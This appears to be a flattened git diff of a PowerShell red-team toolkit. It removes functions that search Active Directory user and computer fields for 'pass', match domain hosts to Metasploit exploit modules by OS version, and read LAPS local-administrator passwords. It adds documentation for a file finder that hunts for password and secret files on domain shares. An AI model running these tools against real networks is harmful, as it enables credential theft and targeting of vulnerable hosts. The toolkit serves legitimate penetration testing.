[System.Threading.Thread]::CurrentThread.GetApartmentState() + Switch. Include any ADMIN$ shares in recursive searching (default ignore). - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 + .PARAMETER ExcludeFolders - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + Switch. Exclude folders from the search results. - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } + .PARAMETER ExcludeHidden - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } + Switch. Exclude hidden files and folders from the search results. - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 + .PARAMETER CheckWriteAccess - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + Switch. Only returns files the current user has write access to. - $jobs = @() - $ps = @() - $wait = @() + .PARAMETER OutFile - $counter = 0 - } + Output results to a specified csv output file. - process { + .PARAMETER NoClobber - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } + Switch. Don't overwrite any existing output file. - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" + .PARAMETER NoPing - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" + Switch. Don't ping each host to ensure it's up before enumerating. - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + .PARAMETER Delay - # create a "powershell pipeline runner" - $ps += [powershell]::create() + Delay between enumerating hosts, defaults to 0 - $ps[$counter].runspacepool = $pool + .PARAMETER Jitter - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('CurrentUser', $CurrentUser) + Jitter for the host delay, defaults to +/- 0.3 - # start job - $jobs += $ps[$counter].BeginInvoke(); + .PARAMETER Domain - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } + Domain to query for machines, defaults to the current domain. - end { - Write-Verbose "Waiting for scanning threads to finish..." + .PARAMETER DomainController - $waitTimeout = Get-Date + Domain controller to reflect LDAP queries through. - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + .PARAMETER SearchForest - # end async call - for ($y = 0; $y -lt $counter; $y++) { + Search all domains in the forest for target users instead of just + a single domain. - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + .PARAMETER SearchSYSVOL - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } + Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. - $pool.Dispose() - } -} + .PARAMETER Threads + The maximum concurrent threads to execute. -function Invoke-UserFieldSearch { - <# - .SYNOPSIS - Searches user object fields for a given word (default *pass*). Default - field being searched is 'description'. + .PARAMETER UsePSDrive - .DESCRIPTION - This function queries all users in the domain with Get-NetUser, - extracts all the specified field(s) and searches for a given - term, default "*pass*". Case is ignored. + Switch. Mount target remote path with temporary PSDrives. - .PARAMETER Field - User field to search in, default of "description". + .PARAMETER Credential - .PARAMETER Term - Term to search for, default of "pass" + Credential to use to mount the PSDrive for searching. - .PARAMETER Domain - Domain to search user fields for. + .EXAMPLE - .EXAMPLE - > Invoke-UserFieldSearch - Find user accounts with "pass" in the description. + PS C:\> Invoke-FileFinder - .EXAMPLE - > Invoke-UserFieldSearch -Field info -Term backup - Find user accounts with "backup" in the "info" field. - #> + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - [CmdletBinding()] - param( - [string] - $Field = 'description', + .EXAMPLE - [string] - $Term = 'pass', + PS C:\> Invoke-FileFinder -Domain testing - [string] - $Domain - ) + Find readable files on the 'testing' domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, - Get-NetUser -Domain $Domain | % { - try { - $desc = $_.$Field - if ($desc){ - $desc = $desc.ToString().ToLower() - } - if ( ($desc -ne $null) -and ($desc.Contains($Term.ToLower())) ) { - $out = new-object psobject - $out | add-member Noteproperty 'User' $_.samaccountname - $out | add-member Noteproperty $Field $desc - $out - } - } - catch {} - } -} + .EXAMPLE + PS C:\> Invoke-FileFinder -IncludeC -function Invoke-ComputerFieldSearch { - <# - .SYNOPSIS - Searches computer object fields for a given word (default *pass*). Default - field being searched is 'description'. + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login' or 'unattend*.xml' in the name, + including C$ shares. - .PARAMETER Field - User field to search in, default of "description". + .EXAMPLE - .PARAMETER Term - Term to search for, default of "pass". + PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv - .PARAMETER Domain - Domain to search computer fields for. + Enumerate a specified share list for files with 'accounts' or + 'ssn' in the name, and write everything to "out.csv" - .EXAMPLE - > Invoke-ComputerFieldSearch - Find computer accounts with "pass" in the description. + .LINK + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - .EXAMPLE - > Invoke-ComputerFieldSearch -Field info -Term backup - Find computer accounts with "backup" in the "info" field. - #> +#> [CmdletBinding()] param( - [string] - $Field = 'description', + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, - [string] - $Term = 'pass', + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, - [string] - $Domain - ) + [String] + $ComputerFilter, + [String] + $ComputerADSpath, - Get-NetComputers -Domain $Domain -FullData | % { - try { - $desc = $_.$Field - if ($desc){ - $desc = $desc.ToString().ToLower() - } - if ( ($desc -ne $null) -and ($desc.Contains($Term.ToLower())) ) { - $out = new-object psobject - $out | add-member Noteproperty 'Name' $_.name - $out | add-member Noteproperty $Field $desc - $out - } - } - catch {} - } -} + [ValidateScript({Test-Path -Path $_ })] + [String] + $ShareList, + [Switch] + $OfficeDocs, -function Get-ExploitableSystems -{ - <# - .Synopsis - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. - .DESCRIPTION - This module will query Active Directory for the hostname, OS version, and service pack level - for each computer account. That information is then cross-referenced against a list of common - Metasploit exploits that can be used during penetration testing. The script filters out disabled - domain computers and provides the computer's last logon time to help determine if it's been - decommissioned. Also, since the script uses data tables to output affected systems the results - can be easily piped to other commands such as test-connection or a Export-Csv. - .EXAMPLE - The example below shows the standard command usage. Disabled system are excluded by default, but - the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't - logged on for two or more weeks it's been decommissioned. - PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize - [*] Grabbing computer accounts from Active Directory... - [*] Loading exploit list for critical missing patches... - [*] Checking computers for vulnerable OS and SP levels... - [+] Found 5 potentially vulnerabile systems! - ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE - ------------ --------------- ----------- --------- --------- --- - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... - DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... - .EXAMPLE - The example below shows how to write the output to a csv file. - PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Export-Csv c:\temp\output.csv -NoTypeInformation - .EXAMPLE - The example below shows how to pipe the resultant list of computer names into the test-connection to determine if they response to ping - requests. - PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Test-Connection - .LINK - http://www.netspi.com - https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 - - .NOTES - Author: Scott Sutherland - 2015, NetSPI - Version: Get-ExploitableSystems.psm1 v1.0 - Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" - function found in Carols Perez's PoshSec-Mod project. The general idea is based off of - Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. - #> - [CmdletBinding()] - Param( - [Parameter(Mandatory=$false, - HelpMessage="Credentials to use when connecting to a Domain Controller.")] - [System.Management.Automation.PSCredential] - [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(Mandatory=$false, - HelpMessage="Domain controller for Domain and Site that you want to query against.")] - [string]$DomainController, + [Switch] + $FreshEXEs, - [Parameter(Mandatory=$false, - HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")] - [int]$Limit = 1000, + [String[]] + $Terms, - [Parameter(Mandatory=$false, - HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] - [ValidateSet("Subtree","OneLevel","Base")] - [string]$SearchScope = "Subtree", + [ValidateScript({Test-Path -Path $_ })] + [String] + $TermList, - [Parameter(Mandatory=$false, - HelpMessage="Distinguished Name Path to limit search to.")] + [String] + $LastAccessTime, - [string]$SearchDN - ) - Begin - { - if ($DomainController -and $Credential.GetNetworkCredential().Password) - { - $objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain - } - else - { - $objDomain = [ADSI]"" - $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain - } - } + [String] + $LastWriteTime, - Process - { - # Status user - Write-Verbose "[*] Grabbing computer accounts from Active Directory..." - - # Create data table for hostnames, os, and service packs from LDAP - $TableAdsComputers = New-Object System.Data.DataTable - $TableAdsComputers.Columns.Add('Hostname') | Out-Null - $TableAdsComputers.Columns.Add('OperatingSystem') | Out-Null - $TableAdsComputers.Columns.Add('ServicePack') | Out-Null - $TableAdsComputers.Columns.Add('LastLogon') | Out-Null - - # ---------------------------------------------------------------- - # Grab computer account information from Active Directory via LDAP - # ---------------------------------------------------------------- - $CompFilter = "(&(objectCategory=Computer))" - $ObjSearcher.PageSize = $Limit - $ObjSearcher.Filter = $CompFilter - $ObjSearcher.SearchScope = "Subtree" - - if ($SearchDN) - { - $objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") - } + [String] + $CreationTime, - $ObjSearcher.FindAll() | ForEach-Object { + [Switch] + $IncludeC, - # Setup fields - $CurrentHost = $($_.properties['dnshostname']) - $CurrentOs = $($_.properties['operatingsystem']) - $CurrentSp = $($_.properties['operatingsystemservicepack']) - $CurrentLast = $($_.properties['lastlogon']) - $CurrentUac = $($_.properties['useraccountcontrol']) + [Switch] + $IncludeAdmin, - # Convert useraccountcontrol to binary so flags can be checked - # http://support.microsoft.com/en-us/kb/305144 - # http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx - $CurrentUacBin = [convert]::ToString($CurrentUac,2) + [Switch] + $ExcludeFolders, - # Check the 2nd to last value to determine if its disabled - $DisableOffset = $CurrentUacBin.Length - 2 - $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) + [Switch] + $ExcludeHidden, - # Add computer to list if it's enabled - if ($CurrentDisabled -eq 0){ - # Add domain computer to data table - $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) | Out-Null - } + [Switch] + $CheckWriteAccess, - } + [String] + $OutFile, - # Status user - Write-Verbose "[*] Loading exploit list for critical missing patches..." + [Switch] + $NoClobber, - # ---------------------------------------------------------------- - # Setup data table for list of msf exploits - # ---------------------------------------------------------------- - - # Create data table for list of patches levels with a MSF exploit - $TableExploits = New-Object System.Data.DataTable - $TableExploits.Columns.Add('OperatingSystem') | Out-Null - $TableExploits.Columns.Add('ServicePack') | Out-Null - $TableExploits.Columns.Add('MsfModule') | Out-Null - $TableExploits.Columns.Add('CVE') | Out-Null - - # Add exploits to data table - $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null - $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null - $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null - $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null - - # Status user - Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." - - # ---------------------------------------------------------------- - # Setup data table to store vulnerable systems - # ---------------------------------------------------------------- - - # Create data table to house vulnerable server list - $TableVulnComputers = New-Object System.Data.DataTable - $TableVulnComputers.Columns.Add('ComputerName') | Out-Null - $TableVulnComputers.Columns.Add('OperatingSystem') | Out-Null - $TableVulnComputers.Columns.Add('ServicePack') | Out-Null - $TableVulnComputers.Columns.Add('LastLogon') | Out-Null - $TableVulnComputers.Columns.Add('MsfModule') | Out-Null - $TableVulnComputers.Columns.Add('CVE') | Out-Null - - # Iterate through each exploit - $TableExploits | - ForEach-Object { - - $ExploitOS = $_.OperatingSystem - $ExploitSP = $_.ServicePack - $ExploitMsf = $_.MsfModule - $ExploitCve = $_.CVE - - # Iterate through each ADS computer - $TableAdsComputers | - ForEach-Object { - - $AdsHostname = $_.Hostname - $AdsOS = $_.OperatingSystem - $AdsSP = $_.ServicePack - $AdsLast = $_.LastLogon - - # Add exploitable systems to vul computers data table - if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ){ - # Add domain computer to data table - $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,[dateTime]::FromFileTime($AdsLast),$ExploitMsf,$ExploitCve) | Out-Null - } - } - } + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, - # Display results - $VulnComputer = $TableVulnComputers | select ComputerName -Unique | measure - $vulnComputerCount = $VulnComputer.Count - If ($VulnComputer.Count -gt 0){ - # Return vulnerable server list order with some hack date casting - Write-Verbose "[+] Found $vulnComputerCount potentially vulnerabile systems!" - $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending + [Switch] + $SearchForest, - }else{ - Write-Verbose "[-] No vulnerable systems were found." - } - } - End - { - } -} + [Switch] + $SearchSYSVOL, + [ValidateRange(1,100)] + [Int] + $Threads, + + [Switch] + $UsePSDrive, -function Get-LAPSPasswords -{ - <# - .Synopsis - This module will query Active Directory for the hostname, LAPS (local administrator) stored password, - and password expiration for each computer account. - .DESCRIPTION - This module will query Active Directory for the hostname, LAPS (local administrator) stored password, - and password expiration for each computer account. The script filters out disabled domain computers. - LAPS password storage can be identified by querying the (domain user available) ms-MCS-AdmPwdExpirationTime - attribute. If the attribute (timestamp) exists, LAPS is in use for local administrator passwords. Access to - ms-MCS-AdmPwd attribute should be restricted to privileged accounts. Also, since the script uses data tables - to output affected systems the results can be easily piped to other commands such as test-connection or a Export-Csv. - .EXAMPLE - The example below shows the standard command usage. Disabled system are excluded by default. If your user doesn't - have the rights to read the password, then it will show 0 for Readable. - PS C:\> Get-LAPSPasswords -DomainController 192.168.1.1 -Credential demo.com\administrator | Format-Table -AutoSize - - Hostname Stored Readable Password Expiration - -------- ------ -------- -------- ---------- - WIN-M8V16OTGIIN.test.domain 0 0 NA - WIN-M8V16OTGIIN.test.domain 0 0 NA - ASSESS-WIN7-TES.test.domain 1 1 $sl+xbZz2&qtDr 6/3/2015 7:09:28 PM - .EXAMPLE - The example below shows how to write the output to a csv file. - PS C:\> Get-LAPSPasswords -DomainController 192.168.1.1 -Credential demo.com\administrator | Export-Csv c:\temp\output.csv -NoTypeInformation - .LINK - http://www.netspi.com - https://github.com/kfosaaen/Get-LAPSPasswords - https://technet.microsoft.com/en-us/library/security/3062591 